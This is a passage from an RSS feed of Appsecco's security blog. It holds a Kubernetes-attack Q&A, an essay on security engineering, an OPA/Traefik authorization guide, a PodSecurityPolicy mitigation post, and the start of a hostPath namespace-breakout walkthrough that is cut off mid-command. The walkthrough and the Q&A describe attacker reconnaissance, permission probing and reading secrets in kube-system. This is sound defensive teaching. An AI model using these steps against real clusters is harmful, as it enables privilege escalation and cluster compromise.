understand the idea of pivoting from a container to elevate your privileges but what methods can be used to get terminal access into a container in the first place?</strong></p><p>We have to look at externally exposed attack surfaces for initial access (foothold). I will look for</p><ol><li>Applications exposed outside the cluster through Ingress or LoadBalancer services</li><li>Scan nodePort range of ports — <a href="https://kubernetes.io/docs/concepts/services-networking/service/">30000–32767</a> for exposed and potentially vulnerable services</li><li>Known vulnerabilities in Kubernetes API Server REST interface</li><li>RBAC weaknesses in Kubernetes API Server, especially what all privileges allowed for system:unauthenticated group</li><li>Cloud related attack surfaces like weak IAM, service accounts or breached credentials</li></ol><p><strong>Can you please comment on the security implications of IPV6 only clusters?</strong></p><p>Apart from making scanning and discovery to be harder, I think other attack surfaces will remain the same.</p><p><strong>Can you share your Kubernetes configurations (ubuntu.yml) and commands used for future reference?</strong></p><h3>Abhisek Datta on Twitter</h3><p>I used a Pod manifest like this to demo the namespace breakout scenario leveraging hostPath volume mounts https://t.co/OReYD6fENp</p><p><strong>Appreciate the time you took for this presentation! Very well executed. I want to follow along with you with a cluster — would it be possible to get a recording or list of steps?</strong></p><p>Yep. Its embedded in this blog post.</p><p><strong>Wonderful talk, Abhisek! Regarding the hostPath mount escape — would a proper pod security policy have helped there?</strong></p><p>Yes. As answered earlier, an appropriate <a href="https://kubernetes.io/docs/concepts/policy/pod-security-policy/">PodSecurityPolicy</a> can be used to restrict hostPath volume mount. Refer to our blogpost on this mitigation presented earlier in this blog post.</p><p><strong>Are there any specific recommendations you have for the configuration of the Kubernetes Dashboard security-wise?</strong></p><p>Remove or restrict access unless absolutely required. Do not mount a privileged service account to the Pod and allow users to authenticate using their own credentials.</p><p><em>At Appsecco we provide advice, testing and training around software, infra, web and mobile apps, especially that are cloud hosted. We specialise in auditing Kubernetes clusters as per the CIS Benchmark to create a picture of the current state of security. If you are confident about the security of your cluster get assurance for withstanding real world attackers by getting us to do a black box pentest.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*Dgvv4z6UPFK2zlPC.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c0c78a5bfb4e" width="1" height="1" alt=""><hr><p><a href="https://medium.com/appsecco/kubernetes-from-an-attackers-perspective-owasp-bay-area-meetup-c0c78a5bfb4e">Kubernetes From an Attacker’s Perspective — OWASP Bay Area Meetup</a> was originally published in <a href="https://medium.com/appsecco">Appsecco</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Thoughts on Security Engineering — How to Secure Systems in Real World]]></title>
            <link>https://medium.com/appsecco/thoughts-on-security-engineering-how-to-secure-systems-in-real-world-e676c64ff708?source=rss-51e28dbf2098------2</link>
            <guid isPermaLink="false">https://medium.com/p/e676c64ff708</guid>
            <category><![CDATA[defense]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[engineering]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Abhisek Datta]]></dc:creator>
            <pubDate>Mon, 27 Apr 2020 09:19:11 GMT</pubDate>
            <atom:updated>2020-04-29T16:20:05.911Z</atom:updated>
            <content:encoded><![CDATA[<h3>Thoughts on Security Engineering — How to Secure Systems in Real World</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IcztjtzT38KvgDfR3gom6Q.jpeg" /><figcaption>Photo by <a href="https://www.pexels.com/@matej-117839?utm_content=attributionCopyText&amp;utm_medium=referral&amp;utm_source=pexels">Matej</a> from <a href="https://www.pexels.com/photo/black-illustration-on-white-printer-paper-716661/?utm_content=attributionCopyText&amp;utm_medium=referral&amp;utm_source=pexels">Pexels</a></figcaption></figure><p>Some of the most common questions that I get during security conferences are—</p><ol><li>How to secure systems against being breached?</li><li>Which tool to buy to protect my network, applications, cloud, containers … The list goes on.</li></ol><p>I could never give a short and precise answer to these questions. To the contrary the response would be to start explaining my understanding of the fundamental cause of security vulnerabilities and what I would do to make a system more secure.</p><p>This article is a one-time attempt of putting my thoughts against general “<em>How to secure”</em> questions with the objective —</p><blockquote>Explain my understanding of root cause of security failures and the structure I would follow or recommend to iteratively make a system more secure over time</blockquote><h3>How I see the world around me</h3><p>In my opinion, a majority of the industries look at security in terms of buying security products based on speculation and peer pressure. The lack of <em>positioning</em> a security product based on need and context makes it ineffective. Security thus becomes fire-fighting and stressful for many.</p><p>Consider that you have deployed a Web Application Firewall (WaF) or using a WaF as a Service. Will it be effective if an attacker finds the IP address of your application server and access it directly bypassing the WaF? So in this scenario, network security policies play an important role for effectiveness of the WaF. A security product is effective only when used in a context and deployed in a reasonably secure environment.</p><h3>What it means to Secure a System?</h3><p>Security of any system, physical or informational is achieved by <strong><em>Establishing Trust </em></strong>that it will operate within its operational constraints<em>. </em>Trust is established through Verification &amp; Validation.</p><p>Consider the example of a shopping mall here in India. If you consider the mall to be a <em>System </em>that needs to be secured against <em>Threats</em> like explosives, then <em>Trust</em> is established at mall entrace through car inspection and metal detector scan of individuals walking in.</p><p>Is this system absolutely secure? No! A motivated attacker can bypass the system in multiple ways including</p><ol><li>Using a backdoor</li><li>Bribing security personnel</li><li>Exploit technical loop holes in X-Ray scanner</li><li>Exploit psychological loop holes in security personnel</li><li>Etc.</li></ol><p>However, I would say the system is reasonably secure given its <em>Threat Perception</em>. Although debatable but the very existence of metal detector and a human frisking in the entrace acts as a deterence against malicious actors perceived to be a threat. There is no <em>absolute security</em>. Any system is secured only against its perceived threats. A structured engineering process can be followed to make a system reasonably secure — Which is the objective of this article.</p><h3>What is Security Engineering?</h3><p>Software Engineering is about building systems that behave the way it is meant to. Security Engineering on the other hand, is about ensuring a given system DO NOT behave in a way it is not meant to.</p><p>As an example, <a href="https://get.adobe.com/reader/otherversions/">Adobe Reader</a> — A software which is meant to process and visualize (render) the contents of a PDF Document. It is NOT meant to allow arbitrary code or command execution — thereby installing malicious software, while processing a malicious PDF document. In the era of <a href="https://www.exploit-db.com/search?q=Adobe+Reader">PDF exploits</a>, the abuse cases almost appeared to be hidden features.</p><p>Software Engineering practices such as QA/Verification/Testing adds to the reliability of a system and ensures expected behaviour. However, it is impossible to imagine all possible abuse cases possible against a system.</p><p>Thus, the objective of Security Engineering is to continuously strive in ensuring the reliability and assurance of a given system and eliminate abuse cases — To the extent possible.</p><h3>How to Get Started with Security Engineering?</h3><p>To get started, read <a href="https://www.goodreads.com/en/book/show/3268675-security-engineering">The Bible</a>. If you are keen on understanding the breadth and depth of Security as an engineering discipline — <a href="https://www.goodreads.com/en/book/show/3268675-security-engineering">Read The Bible</a>.</p><p>However, to secure systems such as networks, applications etc. built or in-use for small to medium organizations, start by following simple steps as described below with the key objective</p><blockquote>The goal of Security Engineering is to ensure a system DO NOT behave in a way it is not meant to, thereby building trust and assurance on the system.</blockquote><h4>Setting Goals — What to Achieve?</h4><p>Different system has different requirements. A static website hosted on <a href="https://netlify.com/">Netlify</a> where everything is publicly accessible has different security concern than a Internet Banking portal. This means, the security requirements for the former is not suitable for the later.</p><p>The security requirements for a system, which in turn is derived from the security policies set the stage for security engineering practice to be introduced. Without a defined security requirement, all activities become ad-hoc and we end up only reacting to security incidents instead of contributing to security assurance of the system. As an example, refer to <a href="https://owasp.org/www-project-application-security-verification-standard/">OWASP Application Security Verification Standard</a> to derive security requirements for web applications.</p><p>Security requirements should be derived early in the life-cycle of a system design and development, to the extend that it influences if not constraints the design of the system.</p><p>As a personal example, me and <a href="https://medium.com/u/750968b743c7">Akash Mahajan</a> were very keen that we will not store any sensitive information while designing <a href="https://github.com/null-open-security-community/swachalit">Swachalit</a> — <a href="https://null.co.in/">The null Community Portal</a> Software. To the extent that this became a constraint for the system and would block features violating this constraint. Our rationale was a community managed software will never have formal security engineering efforts. Thus we eliminated the need for data security so that our security liability is limited as well.</p><h4>Who are the attackers and what can they do?</h4><p>During an internal conference in a top virtualization product company, I was asked — <em>Are enterprise security practices good enough to protect our network and assets?</em></p><p>My response was — Who are your attackers?</p><p>To clarify this, I think enterprise security practices are great against <em>generalized</em> attacks seen over time, probably a decade or two. Security products are developed to solve common security problems in common contexts, learned from the past. Enterprise security practices and good security products fit perfectly here.</p><p>However, if your perceived attacker is a state, equipped with a high skilled team then the <em>generalization</em> of attacks based on which defences are built will not hold true. Defending against such an adversery requires</p><ol><li>Security Engineering</li><li>A comparably skilled team to identify potential threats and abuse cases</li></ol><p>As an example, look at <a href="https://en.wikipedia.org/wiki/Equation_Group">Equation Group</a> and their <a href="https://pentestit.com/equation-group-exploits-list/">exposed capabilities</a>.</p><h4>Security as People Process and Technology</h4><p>In my humble opinion, secure (trusted) systems are built using a complementary combination of —</p><ol><li>People</li><li>Process</li><li>Technology</li></ol><p>The need for the above has been extensively documented as a fundamental requirement of any modern organization. To put it in context of security, I ask the following questions</p><ol><li>Who decides what is important/critical and what risks does it face?</li><li>How do you make 100 individuals contribute towards building a secure system?</li><li>How do you ensure there is continuous security testing and verification of your system as per latest threats known to you?</li></ol><p>If you really think about it, you will see the system of building secure systems cannot be automated or done manually. It requires both people and technology. Processes come in to make things managable and ensure it is done every day.</p><h4>Assurance — Is my practice any good?</h4><p>Just as any practice, it is important to define a success criteria and put in place some metrics that allow us to ensure the system is working or need upgrades.</p><p>New vulnerabilities and attack tehniques are discovered almost on a daily basis. A system build based on threats of the past may not be resilient against threats of the present and future. However, being aware of new threats help design mitigation strategies for present and the future.</p><p>In my opinion, it is very important to engage external specialists for some of the activities below on a regular basis to ensure trust in the system</p><ol><li>Pentration Testing / Red Teams</li><li>Attacker Driven Threat Modelling</li><li>Source code review</li><li>Threat intelligence feeds and response</li><li>Bug bounty programs</li></ol><h3>Final Thoughts</h3><p>Securing systems in reality is easier said than done. We have focussed only on the information systems in this article and have completely ignored human aspect of system security. The human aspect, especially the psychology of users, operators and attackers greatly impact the overall security engineering process. All of these however depends on actual <em>Threat Perception</em> of a system. It doesn’t make sense to invest on military grade security for an information system that rarely handles confidential data.</p><p>That being said, it is extremely difficult to implement a ideal security engineering practice for a large scale product development and operations environment. The complexity kicks where ideal becomes unusable. However, a structured engineering approach to security always incremntal improvement over time than an ad-hoc practice which is uncertain, hence untrusted.</p><h3>About Appsecco</h3><p><em>At Appsecco we provide advice, testing and training around software, infra, web and mobile apps, especially that are cloud hosted. We also specialise in auditing Cloud and Kubernetes environments as per the CIS Foundations Benchmark to create a picture of the current state of security in your environment. Our experience has led us to creating multiple hands on training courses like the very popular “Breaking and Pwning Apps and Servers on AWS and Azure”, “Attacking and Auditing Docker Containers and Kubernetes Clusters” and “Automated Defence using Cloud Services for AWS, Azure and GCP”.</em></p><p>D<strong>rop us an email, </strong><a href="/service/mailto:contact@appsecco.com"><strong>contact@appsecco.com</strong></a><strong> if you would like us to assess the security of your application and cloud infrastructure or if you would like your security team trained in advanced penetration testing and security auditing techniques.</strong></p><figure><a href="https://appsecco.com/"><img alt="" src="https://cdn-images-1.medium.com/max/800/0*91-m1ZPbox7nRsbW.png" /></a></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e676c64ff708" width="1" height="1" alt=""><hr><p><a href="https://medium.com/appsecco/thoughts-on-security-engineering-how-to-secure-systems-in-real-world-e676c64ff708">Thoughts on Security Engineering — How to Secure Systems in Real World</a> was originally published in <a href="https://medium.com/appsecco">Appsecco</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Microservices Authorization using Open Policy Agent and Traefik (API Gateway)]]></title>
            <link>https://medium.com/appsecco/microservices-authorization-using-open-policy-agent-and-traefik-api-gateway-ae30f3bf2846?source=rss-51e28dbf2098------2</link>
            <guid isPermaLink="false">https://medium.com/p/ae30f3bf2846</guid>
            <category><![CDATA[open-policy-agent]]></category>
            <category><![CDATA[microservices]]></category>
            <category><![CDATA[authorization]]></category>
            <category><![CDATA[devsecops]]></category>
            <category><![CDATA[traefik]]></category>
            <dc:creator><![CDATA[Abhisek Datta]]></dc:creator>
            <pubDate>Tue, 07 Apr 2020 11:37:09 GMT</pubDate>
            <atom:updated>2020-04-08T08:46:17.532Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*WEoeQTSvc29HZivLifKdbw.png" /><figcaption>Image credit to respective brand owners and pexels.com</figcaption></figure><h3>The need for Centralized Authorization Controls</h3><p>Authentication and authorization in a microservices environment is non-trivial to implement correctly. This becomes especially true when identity and authorization controls are distributed across different applications. There has been multiple cases where authorization controls implemented for one application was missed for another application with similar feature and data access resulting in a breach.</p><p>One of our clients had similar requirements in their SaaS platform where they needed to call multiple APIs from a single frontend using <a href="https://openid.net/specs/draft-jones-json-web-token-07.html">ID Token</a>. The ID Token was obtained using a conventional <a href="https://oauth.net/2/grant-types/authorization-code/">OAuth2 Authorization Code</a> flow from an external provider such as <a href="https://auth0.com/">Auth0</a>. While <a href="https://openid.net/specs/openid-connect-core-1_0.html#StandardClaims">OpenID Connect</a> serves as an excellent standard for sharing verifiable user identity across microservices, we did not find a standard approach for enforcing authorization controls before a request hits a backend microservice.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/350/1*PJTgK4MvFNz0gaVAwIJFBQ.png" /><figcaption>Exposing microservices through an API Gateway</figcaption></figure><p>Additionally, we wanted to ensure that the ID Token is verified and authorization controls are enforced in the <a href="https://microservices.io/patterns/apigateway.html">API Gateway</a> itself before the request reaches a backend service. This allows us to create an architecture where authentication and authorization controls are enforced as a security gate for all backend microservices.</p><p>We present a solution along with a proof of concept implementation for the problem described above — To be able to perform authentication and authorization for microservices in the API Gateway itself.</p><blockquote>A complete proof of concept implementation for the solution presented in this article is available in our Github repository</blockquote><p><a href="https://github.com/appsecco/opa-traefik-microservice-authz">appsecco/opa-traefik-microservice-authz</a></p><h3>How we chose to implement centralized AuthN and AuthZ controls using API Gateway</h3><p>To implement our requirements, we need two things</p><ol><li>An API Gateway capable for integration with external system for policy decision making</li><li>A policy repository and evaluation server which can authorize a given request (context) against configured policies</li></ol><p>We have been <a href="https://thenewstack.io/open-policy-agents-mission-to-secure-the-cloud/">hearing</a> <a href="https://landscape.cncf.io/selected=open-policy-agent-opa">great</a> <a href="https://cloudsecurityalliance.org/blog/2020/02/21/using-open-policy-agent-opa-to-develop-policy-as-code-for-cloud-infrastructure/">things</a> about <a href="https://www.openpolicyagent.org/">Open Policy Agent</a> (OPA) for quite some time. While choosing OPA for [1] may be a no brainer for some, we selected it for our use-case due to</p><ol><li>Support for <a href="https://www.openpolicyagent.org/docs/latest/"><em>Policy as Code</em></a></li><li>Ability to <a href="https://www.openpolicyagent.org/docs/latest/#4-try-opa-run-server">run as server</a> or as an <a href="https://www.openpolicyagent.org/docs/latest/#5-try-opa-as-a-go-library">embedded library</a></li><li><a href="https://www.openpolicyagent.org/docs/latest/#example">Context-aware policy evaluation</a></li></ol><blockquote>The Open Policy Agent (OPA, pronounced “oh-pa”) is an open source, general-purpose policy engine that unifies policy enforcement across the stack.</blockquote><p>We then looked at <a href="https://www.openpolicyagent.org/docs/latest/ecosystem/">OPA Ecosystem</a> for [1] API Gateway. We end up choosing <a href="https://containo.us/traefik/">Traefik</a> as our choice for API Gateway due to</p><ol><li>Easy to learn and adopt</li><li>Support for custom middlewares (3rd party service integration)</li><li>Awesome dashboard :)</li><li>Native support for <a href="https://docs.traefik.io/v1.7/configuration/backends/kubernetes/">automatic service discovery for Kubernetes</a></li><li>Native support for <a href="https://docs.traefik.io/observability/metrics/prometheus/">exporting metrics to Prometheus</a></li></ol><p>Our final architecture involving <a href="https://containo.us/traefik/">Traefik</a> as the API Gateway and Open Policy Agent as the authorization server is presented below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/0*z5nuCT0SdQzl1P6Y.png" /><figcaption>Solution architecture for AuthZ using Traefik and Open Policy Agent</figcaption></figure><h4>Using Traefik Middlewares for Integrating Open Policy Agent</h4><p>Traefik supports middleware for transforming or validating a request before it is forwarded to a backend service. Among them, the <a href="https://docs.traefik.io/middlewares/forwardauth/">ForwardAuth</a> middleware is particularly interesting for us as it delegates decision making to an external application.</p><p>We implemented a simple <a href="https://github.com/appsecco/opa-traefik-microservice-authz/blob/master/traefik-middlewares/auth-opa/app.js">NodeJS ForwardAuth Middleware</a> application to connect Traefik with Open Policy Agent. Our middleware application builds an input context based on request parameters and passes it to Open Policy Agent for evaluation &amp; <a href="https://github.com/appsecco/opa-traefik-microservice-authz/blob/master/opa/policy.rego">decision making</a>.</p><h4>Implementing Authorization Controls in Open Policy Agent</h4><p>Our use-case depends on Open Policy Agent (OPA) for the following</p><ol><li>Write policy rules using a <a href="https://www.openpolicyagent.org/docs/latest/policy-language/">formal policy language — Rego</a></li><li>Run OPA as a context-aware <a href="https://www.openpolicyagent.org/docs/latest/#4-try-opa-run-server">policy evaluation server</a></li></ol><p>For this use-case, we define a <a href="https://github.com/appsecco/opa-traefik-microservice-authz/blob/master/opa/policy.rego">simple policy</a> that authorizes requests based on path based microservice routing and <em>role</em> definition in <a href="https://jwt.io/">JWT</a> provided by the client.</p><blockquote>Refer to the <a href="https://github.com/appsecco/opa-traefik-microservice-authz">proof of concept implementation</a> for all technical details.</blockquote><p>The outcome is all requests passing through Traefik is authorized by our policy in OPA. We have our API Gateway act as a security gate for the microservices infrastructure.</p><h3>Summarizing the Solution</h3><ul><li>We want to implement authentication and authorization for all microservices in a centralized manner</li><li>We want to enforce authentication and authorization in the API Gateway as a security gate</li></ul><p>We achieve this by</p><ol><li>Using Traefik as the API Gateway</li><li>Using Traefik <em>ForwardAuth Middleware</em> to delegate security policy enforcement to Open Policy Agent</li><li>OPA policy in Rego language to enforce role based access control for backend microservices</li></ol><h3>Solution in Action</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FMRbqvcOtYqk%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DMRbqvcOtYqk&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FMRbqvcOtYqk%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/32e4d23a7c69f9d34a237bfd3b3bd15a/href">https://medium.com/media/32e4d23a7c69f9d34a237bfd3b3bd15a/href</a></iframe><p>Special thanks to <a href="https://engineering.etermax.com/api-authorization-with-kubernetes-traefik-and-open-policy-agent-23647fc384a1">Etermax Engineering blog</a> for writing about their use-case.</p><h4><a href="https://appsecco.com/contact/">Hire Appsecco to help you secure your microservices infrastructure</a></h4><p><em>At Appsecco we provide advice, testing and training around software, infra, web and mobile apps, especially that are cloud hosted. We also specialise in auditing complex cloud native microservices infrastructure and help product teams secure the same by assisting with threat modelling and security architecture review.</em></p><p>D<strong>rop us an email, </strong><a href="/service/mailto:contact@appsecco.com"><strong>contact@appsecco.com</strong></a><strong> if you would like us to assess the security of your microservices infrastructure or if you would like your product team to be trained in implementing security controls for microservices.</strong></p><figure><a href="https://appsecco.com/"><img alt="" src="https://cdn-images-1.medium.com/max/700/0*_018fvJeMUFnrH6t.png" /></a></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ae30f3bf2846" width="1" height="1" alt=""><hr><p><a href="https://medium.com/appsecco/microservices-authorization-using-open-policy-agent-and-traefik-api-gateway-ae30f3bf2846">Microservices Authorization using Open Policy Agent and Traefik (API Gateway)</a> was originally published in <a href="https://medium.com/appsecco">Appsecco</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Prevent hostPath based Kubernetes attacks with Pod Security Policies]]></title>
            <link>https://medium.com/appsecco/prevent-hostpath-based-kubernetes-attacks-with-pod-security-policies-2f8646df6761?source=rss-51e28dbf2098------2</link>
            <guid isPermaLink="false">https://medium.com/p/2f8646df6761</guid>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[devsecops]]></category>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[k8s-security]]></category>
            <category><![CDATA[docker-security]]></category>
            <dc:creator><![CDATA[Abhisek Datta]]></dc:creator>
            <pubDate>Wed, 18 Mar 2020 05:36:12 GMT</pubDate>
            <atom:updated>2020-03-18T07:32:11.024Z</atom:updated>
            <content:encoded><![CDATA[<h3>Stopping attacks against Kubernetes due to hostPath Volume Mounts using Pod SecurityPolicies— Part 2</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*1FcFNCn12viJ-e5I8nqobg.png" /></figure><p><em>This is Part 2 of a 2 part series on security implications of insecure hostPath volume mount in Kubernetes. Here we discuss about the attack mitigation using PodSecurityPolicy — </em><a href="https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216"><em>Read Part-1 demonstrating the attack</em></a></p><h3>Mitigation</h3><p>It was possible to breakout of Namespace restrictions in this scenario due to the risky <a href="https://kubernetes.io/docs/concepts/storage/volumes/#hostpath"><em>hostPath</em></a> mount that allows full access to the underlying Node.</p><p><a href="https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216">Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1</a></p><p>The issue can be mitigated using an appropriate <a href="https://kubernetes.io/docs/concepts/policy/pod-security-policy/">PodSecurityPolicy</a>. The official Kubernetes docs contain some great examples</p><p><a href="https://kubernetes.io/docs/concepts/policy/pod-security-policy/#example-policies">Pod Security Policies</a></p><blockquote>To use PodSecurityPolicy, ensure it is enabled in the <em>AdmissionController </em>of the master node.</blockquote><p>For managed clusters, refer to the provider specific documentation. For GKE, <a href="https://cloud.google.com/kubernetes-engine/docs/how-to/pod-security-policies">PSP can be enabled</a> using the command below</p><pre>gcloud beta container clusters update CLUSTER_NAME --enable-pod-security-policy</pre><p>To test this, we will deploy our PSP as <em>Cluster Administrator</em></p><p>Switch config to <em>cluster-admin</em></p><pre>export KUBECONFIG=k8s-research-admin-kubeconfig.yaml</pre><ul><li>Create a restricted <em>PodSecurityPolicy (PSP)</em></li><li>Create a <em>ClusterRole </em>to enforce use of our restricted PSP</li><li>Create a <em>ClusterRoleBinding</em> to bind the <em>ClusterRole</em> to developer-sa Service Account</li></ul><pre>kubectl apply -f psp.yml</pre><p>This creates the required resources in the cluster based on <a href="https://gist.github.com/abhisek/b9acfdc0505905ffc4240841195326ee">our PodSecurityPolicy</a>.</p><pre>podsecuritypolicy.policy/developers-psp created<br>clusterrole.rbac.authorization.k8s.io/developers-psp-cluster-role created<br>clusterrolebinding.rbac.authorization.k8s.io/developers-sa-psp-binding created</pre><p>Now we can switch back to our developer-sa Service Account and retry the same attack described earlier</p><pre>export KUBECONFIG=./developer-kubeconfig</pre><pre>kubectl -n developers apply -f ./pod-to-node.yml</pre><p>Instead of the Pod being created, we get an error indicating restrictions enforced by PSP.</p><pre>Error from server (Forbidden): error when creating &quot;./pod-to-node.yml&quot;: pods &quot;attacker-pod&quot; is forbidden: unable to validate against any pod security policy: [spec.securityContext.hostNetwork: Invalid value: true: Host network is not allowed to be used spec.securityContext.hostPID: Invalid value: true: Host PID is not allowed to be used spec.securityContext.hostIPC: Invalid value: true: Host IPC is not allowed to be used spec.volumes[0]: Invalid value: &quot;hostPath&quot;: hostPath volumes are not allowed to be used spec.containers[0].securityContext.privileged: Invalid value: true: Privileged containers are not allowed spec.containers[0].securityContext.allowPrivilegeEscalation: Invalid value: true: Allowing privilege escalation for containers is not allowed]</pre><h4>Conclusion</h4><p>We have seen how we can ensure hostPath insecurities don’t compromise the security of our Kubernetes cluster. This is a very important topic and has many naunces. Keep up with Kubernetes security by following the documentation and our blog.</p><p><em>At Appsecco we provide advice, testing and training around software, infra, web and mobile apps, especially that are cloud hosted. We specialise in auditing Kubernetes clusters as per the CIS Benchmark to create a picture of the current state of security. If you are confident about the security of your cluster get assurance for withstanding real world attackers by getting us to do a black box pentest.</em></p><p><em>We run a hands-on training course “Attacking and Auditing Kubernetes Clusters” for cluster operators and pentesters.</em></p><p><em>Drop us an email, </em><a href="/service/mailto:contact@appsecco.com"><em>contact@appsecco.com</em></a><em> if you would like us to assess the security of your K8S infrastructure or if you would like your security team trained in advanced pentesting techniques against K8S.</em></p><figure><a href="https://appsecco.com/"><img alt="" src="https://cdn-images-1.medium.com/proxy/0*ygXRhsXE38_tSCrh.png" /></a><figcaption>https://appsecco.com</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2f8646df6761" width="1" height="1" alt=""><hr><p><a href="https://medium.com/appsecco/prevent-hostpath-based-kubernetes-attacks-with-pod-security-policies-2f8646df6761">Prevent hostPath based Kubernetes attacks with Pod Security Policies</a> was originally published in <a href="https://medium.com/appsecco">Appsecco</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1]]></title>
            <link>https://medium.com/appsecco/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216?source=rss-51e28dbf2098------2</link>
            <guid isPermaLink="false">https://medium.com/p/b382f2a6e216</guid>
            <category><![CDATA[k8s-security]]></category>
            <category><![CDATA[docker-security]]></category>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[cloud-security]]></category>
            <dc:creator><![CDATA[Abhisek Datta]]></dc:creator>
            <pubDate>Wed, 18 Mar 2020 05:01:39 GMT</pubDate>
            <atom:updated>2020-03-18T07:30:34.545Z</atom:updated>
            <cc:license>https://creativecommons.org/licenses/by-sa/4.0/</cc:license>
            <content:encoded><![CDATA[<h3>Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*Dp-PzUkVgjrenMu1wAq47Q.png" /></figure><p><em>This is Part 1 of a 2 part series on security implications of insecure hostPath volume mount in Kubernetes and how it can be abused for full cluster compromise.</em></p><h4>Part 2 deals with the mitigation</h4><p><a href="https://blog.appsecco.com/prevent-hostpath-based-kubernetes-attacks-with-pod-security-policies-2f8646df6761">Prevent hostPath based Kubernetes attacks with Pod Security Policies</a></p><p>In this article we will demonstrate a technique leveraging different components of Kubernetes to <em>break-out from Namespace based restrictions</em> enforced on a user using <a href="https://kubernetes.io/docs/reference/access-authn-authz/rbac/">RBAC</a>. Specifically the scenario involves</p><ol><li>Attacker has access to execute commands in a container in a Pod — This is very common, when an attacker has managed to compromise any one application hosted in a cluster</li><li>The Pod service account allows <a href="https://restfulapi.net/http-methods/">CRUD</a> operations on Pod resource but within a single namespace only — This means the attacker in the Pod can create new Pods but within a specific namespace only. This is common for developer service accounts that are restricted to their team’s namespace.</li></ol><p>Given this scenario, we will demonstrate techniques using which it is possible to abuse hostPath volume mounts for a Pod to escape the namespace constraints and gain access to Pods in any other namespace. This ability can in turn be leveraged to eventually gain maximum privilege in the cluster i.e. <em>Cluster Admin</em>.</p><h4>Abusing hostPath volume mounts for a Pod namespace escape Video</h4><figure><a href="https://asciinema.org/a/O5BJhisLohs9hP9E8ic5IyUDv"><img alt="" src="https://cdn-images-1.medium.com/max/543/1*Kh_tOOo52YIfLsrT2IqcEw.png" /></a><figcaption>Video demo available at — <a href="https://asciinema.org/a/O5BJhisLohs9hP9E8ic5IyUDv">https://asciinema.org/a/O5BJhisLohs9hP9E8ic5IyUDv</a></figcaption></figure><h4>Vulnerable Environment Setup</h4><ul><li>Deploy a Kubernetes cluster locally or in any cloud platform</li><li>Create a service account with <em>RoleBinding</em> that allows CRUD on Pod but within <em>developers </em>Namespace only — <a href="https://gist.github.com/abhisek/73cd5a0972510ddadca4697fa6516faa">Example YAML (sa.yml) that we used</a> in our example below</li><li>Obtain <em>kubeconfig</em> for the service account — <a href="https://gist.github.com/abhisek/2a30589864564f487bee47aa76162968">Example script (sa-to-kubeconfig.sh)</a> that we used in our example below</li></ul><pre># Create service account with role bindings<br>kubectl apply -f sa.yml</pre><pre># Create kubeconfig for service account<br>./sa-to-kubeconfig.sh &gt; /tmp/research/developer-kubeconfig</pre><p>The config above creates a <a href="https://kubernetes.io/docs/concepts/overview/working-with-objects/namespaces/">Namespace</a> developers , a <a href="https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/">Service Account</a> developer-sa and binds <a href="https://kubernetes.io/docs/reference/access-authn-authz/rbac/">Role</a> to allow <a href="https://restfulapi.net/http-methods/">CRUD</a> on Pod resource to developer-sa but restricted only to the developers Namespace.</p><h4>Attacker Starting Point</h4><p>As attacker in the scenario, we will start by having access to the cluster using the <em>kubeconfig</em> generated for developer-sa above. This is equivalent to having access to any container in a Pod with the service account attached to it.</p><p>The commands below demonstrate how we setup our environment to use developer-sa and verified that we have limited access to developers namespace.</p><pre># Use the kubeconfig for developer service account<br>export KUBECONFIG=developer-kubeconfig</pre><pre># Check if we can create Pod in default namespace<br>kubectl auth can-i create pod<br>no</pre><pre># Check if we can list secrets in kube-system<br>kubectl get secrets -n kube-system</pre><pre>Error from server 